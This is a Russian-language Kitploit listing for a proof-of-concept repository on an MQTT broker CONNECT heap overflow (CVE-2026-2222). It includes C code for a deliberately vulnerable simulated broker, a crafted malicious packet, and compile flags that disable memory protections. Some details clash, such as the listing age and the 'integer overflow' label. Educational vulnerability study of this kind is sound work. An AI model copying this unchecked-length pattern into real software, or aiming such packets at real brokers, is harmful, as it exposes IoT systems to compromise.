Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-2222-MQTT-Broker-CONNECT-Packet-Heap-Overflow — Демонстрирует переполнение кучи CVE-2026-2222 при обработке пакетов MQTT CONNECT, используя имитируемый уязвимый брокер и код эксплойта PoC для удалённого выполнения кода. | Kitploit
Инструменты/GitHubGitHub/george0papasotiriou/cve-2026-2222-mqtt-broker-connect-packet-heap-overflow
Безопасность IoTАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubgeorge0papasotiriou/cve-2026-2222-mqtt-broker-connect-packet-heap-overflow

CVE-2026-2222-MQTT-Broker-CONNECT-Packet-Heap-Overflow

Демонстрирует переполнение кучи CVE-2026-2222 при обработке пакетов MQTT CONNECT, используя имитируемый уязвимый брокер и код эксплойта PoC для удалённого выполнения кода.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
31 месяц назадЕщё не проверено

CVE-2026-2222 – Переполнение кучи в пакете CONNECT MQTT-брокера

Код программы (C + Python)

root@kitploit:~
// mqtt_broker_sim.c - Simulated vulnerable MQTT broker
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

struct mqtt_connect {
    char protocol_name[8];
    uint8_t protocol_level;
    uint8_t flags;
    uint16_t keepalive;
    // remaining length field misinterpreted
};

void process_connect(uint8_t *packet, size_t len) {
    // Assume we've parsed fixed header: remaining length = (packet[1] & 0x7F) + ...
    // For demo, we read a 2-byte "remaining length" from packet[1:3] and allocate that many bytes,
    // then copy payload without proper bounds.
    uint16_t remaining_length = (packet[1] << 8) | packet[2]; // should be encoded as variable length, but we misuse
    printf("Allocating %d bytes\n", remaining_length);
    char *buffer = malloc(remaining_length); // if remaining_length is crafted to wrap, small allocation
    // copy payload from packet+3 for remaining_length bytes -> heap overflow if remaining_length > len-3
    memcpy(buffer, packet+3, remaining_length); // overflow
    // process...
    free(buffer);
}

int main() {
    // Crafted malicious packet: remaining_length = 0xFFFF (65535) but actual packet size small
    uint8_t evil[] = {0x10, 0xFF, 0xFF, 0x00, 0x04, 'M','Q','T','T'}; // length 9
    process_connect(evil, sizeof(evil));
    return 0;
}

CVE-2026-2222 – Переполнение кучи в CONNECT MQTT-брокера

Severity: Critical

Обзор

Целочисленное переполнение при разборе поля остаточной длины (remaining length) пакета MQTT CONNECT приводит к переполнению буфера в куче, что позволяет удалённо выполнять код на брокере.

Детали уязвимости

  • Тип: Целочисленное переполнение / переполнение буфера в куче
  • Воздействие: Удалённое выполнение кода на MQTT-брокере, ставящее под угрозу все подключённые IoT-устройства.
  • Корневая причина: Брокер декодирует остаточную длину как 16-битное значение и использует её напрямую при выделении памяти и копировании, не сверяя с фактическим размером пакета.

Демонстрация эксплойта

Скомпилируйте и запустите симулированный уязвимый брокер:

root@kitploit:~
gcc mqtt_broker_sim.c -o mqtt_broker_sim -fno-stack-protector -z execstack
./mqtt_broker_sim
Скачать инструмент